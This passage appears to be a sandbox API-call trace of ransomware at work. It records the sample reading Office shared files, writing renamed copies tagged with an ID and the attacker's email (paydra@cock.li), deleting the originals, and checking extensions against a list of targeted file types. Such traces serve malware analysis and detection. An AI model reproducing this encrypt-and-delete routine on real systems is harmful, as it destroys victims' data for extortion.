1 [0053.585] WriteFile (in: hFile=0x240, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.585] SetEndOfFile (hFile=0x240) returned 1 [0053.585] CloseHandle (hObject=0x240) returned 1 [0053.586] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.586] SetEndOfFile (hFile=0x23c) returned 1 [0053.587] CloseHandle (hObject=0x23c) returned 1 [0053.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.587] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0053.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.587] lstrlenW (lpString=".doc") returned 4 [0053.587] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0053.587] lstrlenW (lpString=".docx") returned 5 [0053.587] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0053.587] lstrlenW (lpString=".pdf") returned 4 [0053.587] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0053.587] lstrlenW (lpString=".xls") returned 4 [0053.587] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0053.587] lstrlenW (lpString=".xlsx") returned 5 [0053.587] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0053.587] lstrlenW (lpString=".ppt") returned 4 [0053.587] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0053.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.587] lstrlenW (lpString=".zip") returned 4 [0053.587] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0053.587] lstrlenW (lpString=".rar") returned 4 [0053.587] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0053.588] lstrlenW (lpString=".bz2") returned 4 [0053.588] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0053.588] lstrlenW (lpString=".7z") returned 3 [0053.588] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0053.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.588] lstrlenW (lpString=".dbf") returned 4 [0053.588] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0053.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.588] lstrlenW (lpString=".1cd") returned 4 [0053.588] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0053.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.588] lstrlenW (lpString=".jpg") returned 4 [0053.588] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0053.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.588] lstrlenW (lpString=".doc") returned 4 [0053.588] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0053.588] lstrlenW (lpString=".docx") returned 5 [0053.588] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0053.588] lstrlenW (lpString=".pdf") returned 4 [0053.588] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0053.588] lstrlenW (lpString=".xls") returned 4 [0053.588] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0053.588] lstrlenW (lpString=".xlsx") returned 5 [0053.588] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0053.588] lstrlenW (lpString=".ppt") returned 4 [0053.588] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0053.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.588] lstrlenW (lpString=".zip") returned 4 [0053.588] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0053.588] lstrlenW (lpString=".rar") returned 4 [0053.588] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0053.589] lstrlenW (lpString=".bz2") returned 4 [0053.589] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0053.589] lstrlenW (lpString=".7z") returned 3 [0053.589] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0053.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.589] lstrlenW (lpString=".dbf") returned 4 [0053.589] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0053.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.589] lstrlenW (lpString=".1cd") returned 4 [0053.589] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0053.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0053.589] lstrlenW (lpString=".jpg") returned 4 [0053.589] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0053.589] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0053.589] lstrlenW (lpString="PNG32.FLT") returned 9 [0053.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0053.589] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=302976) returned 1 [0053.589] CloseHandle (hObject=0x23c) returned 1 [0053.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0053.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0053.590] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.590] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0053.590] GetLastError () returned 0x0 [0053.590] ReadFile (in: hFile=0x23c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0053.597] WriteFile (in: hFile=0x240, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0053.602] ReadFile (in: hFile=0x23c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.602] WriteFile (in: hFile=0x240, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0053.603] SetEndOfFile (hFile=0x240) returned 1 [0053.603] CloseHandle (hObject=0x240) returned 1 [0053.603] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.603] SetEndOfFile (hFile=0x23c) returned 1 [0053.606] CloseHandle (hObject=0x23c) returned 1 [0053.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.607] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0053.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.607] lstrlenW (lpString=".doc") returned 4 [0053.607] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0053.607] lstrlenW (lpString=".docx") returned 5 [0053.607] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0053.607] lstrlenW (lpString=".pdf") returned 4 [0053.607] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0053.607] lstrlenW (lpString=".xls") returned 4 [0053.607] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0053.607] lstrlenW (lpString=".xlsx") returned 5 [0053.607] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0053.607] lstrlenW (lpString=".ppt") returned 4 [0053.608] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0053.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.608] lstrlenW (lpString=".zip") returned 4 [0053.608] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0053.608] lstrlenW (lpString=".rar") returned 4 [0053.608] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0053.608] lstrlenW (lpString=".bz2") returned 4 [0053.608] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0053.608] lstrlenW (lpString=".7z") returned 3 [0053.608] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0053.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.608] lstrlenW (lpString=".dbf") returned 4 [0053.608] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0053.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.608] lstrlenW (lpString=".1cd") returned 4 [0053.608] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0053.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.608] lstrlenW (lpString=".jpg") returned 4 [0053.608] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0053.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.608] lstrlenW (lpString=".doc") returned 4 [0053.608] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0053.608] lstrlenW (lpString=".docx") returned 5 [0053.609] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0053.609] lstrlenW (lpString=".pdf") returned 4 [0053.609] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0053.609] lstrlenW (lpString=".xls") returned 4 [0053.609] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0053.609] lstrlenW (lpString=".xlsx") returned 5 [0053.609] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0053.609] lstrlenW (lpString=".ppt") returned 4 [0053.609] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0053.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.609] lstrlenW (lpString=".zip") returned 4 [0053.609] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0053.609] lstrlenW (lpString=".rar") returned 4 [0053.609] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0053.609] lstrlenW (lpString=".bz2") returned 4 [0053.609] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0053.609] lstrlenW (lpString=".7z") returned 3 [0053.609] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0053.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.609] lstrlenW (lpString=".dbf") returned 4 [0053.609] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0053.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.609] lstrlenW (lpString=".1cd") returned 4 [0053.609] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0053.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0053.610] lstrlenW (lpString=".jpg") returned 4 [0053.610] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0053.610] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0053.610] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0053.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.024] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=280448) returned 1 [0054.024] CloseHandle (hObject=0x234) returned 1 [0054.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0054.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.026] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.026] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0054.215] GetLastError () returned 0x0 [0054.215] ReadFile (in: hFile=0x234, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x44780, lpOverlapped=0x0) returned 1 [0054.223] WriteFile (in: hFile=0x248, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x44790, lpOverlapped=0x0) returned 1 [0054.228] ReadFile (in: hFile=0x234, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.228] WriteFile (in: hFile=0x248, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.229] SetEndOfFile (hFile=0x248) returned 1 [0054.229] CloseHandle (hObject=0x248) returned 1 [0054.229] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.229] SetEndOfFile (hFile=0x234) returned 1 [0054.231] CloseHandle (hObject=0x234) returned 1 [0054.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.232] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0054.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.232] lstrlenW (lpString=".doc") returned 4 [0054.232] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.232] lstrlenW (lpString=".docx") returned 5 [0054.232] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.232] lstrlenW (lpString=".pdf") returned 4 [0054.232] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.232] lstrlenW (lpString=".xls") returned 4 [0054.232] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.232] lstrlenW (lpString=".xlsx") returned 5 [0054.232] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.232] lstrlenW (lpString=".ppt") returned 4 [0054.232] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.232] lstrlenW (lpString=".zip") returned 4 [0054.232] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.232] lstrlenW (lpString=".rar") returned 4 [0054.233] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.233] lstrlenW (lpString=".bz2") returned 4 [0054.233] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.233] lstrlenW (lpString=".7z") returned 3 [0054.233] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.233] lstrlenW (lpString=".dbf") returned 4 [0054.233] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.233] lstrlenW (lpString=".1cd") returned 4 [0054.233] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.233] lstrlenW (lpString=".jpg") returned 4 [0054.233] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.233] lstrlenW (lpString=".doc") returned 4 [0054.233] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.233] lstrlenW (lpString=".docx") returned 5 [0054.233] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.233] lstrlenW (lpString=".pdf") returned 4 [0054.233] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.233] lstrlenW (lpString=".xls") returned 4 [0054.233] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.233] lstrlenW (lpString=".xlsx") returned 5 [0054.233] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.233] lstrlenW (lpString=".ppt") returned 4 [0054.233] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.233] lstrlenW (lpString=".zip") returned 4 [0054.233] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.233] lstrlenW (lpString=".rar") returned 4 [0054.233] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.234] lstrlenW (lpString=".bz2") returned 4 [0054.234] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.234] lstrlenW (lpString=".7z") returned 3 [0054.234] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.234] lstrlenW (lpString=".dbf") returned 4 [0054.234] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.234] lstrlenW (lpString=".1cd") returned 4 [0054.234] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0054.234] lstrlenW (lpString=".jpg") returned 4 [0054.234] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.234] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0054.234] lstrlenW (lpString="msitss55.dll") returned 12 [0054.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.251] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=430080) returned 1 [0054.251] CloseHandle (hObject=0x234) returned 1 [0054.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0054.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0054.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.252] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.252] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0054.264] GetLastError () returned 0x0 [0054.264] ReadFile (in: hFile=0x234, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x69000, lpOverlapped=0x0) returned 1 [0054.272] WriteFile (in: hFile=0x248, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x69010, lpOverlapped=0x0) returned 1 [0054.279] ReadFile (in: hFile=0x234, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.279] WriteFile (in: hFile=0x248, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.279] SetEndOfFile (hFile=0x248) returned 1 [0054.279] CloseHandle (hObject=0x248) returned 1 [0054.280] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.280] SetEndOfFile (hFile=0x234) returned 1 [0054.283] CloseHandle (hObject=0x234) returned 1 [0054.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.283] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: 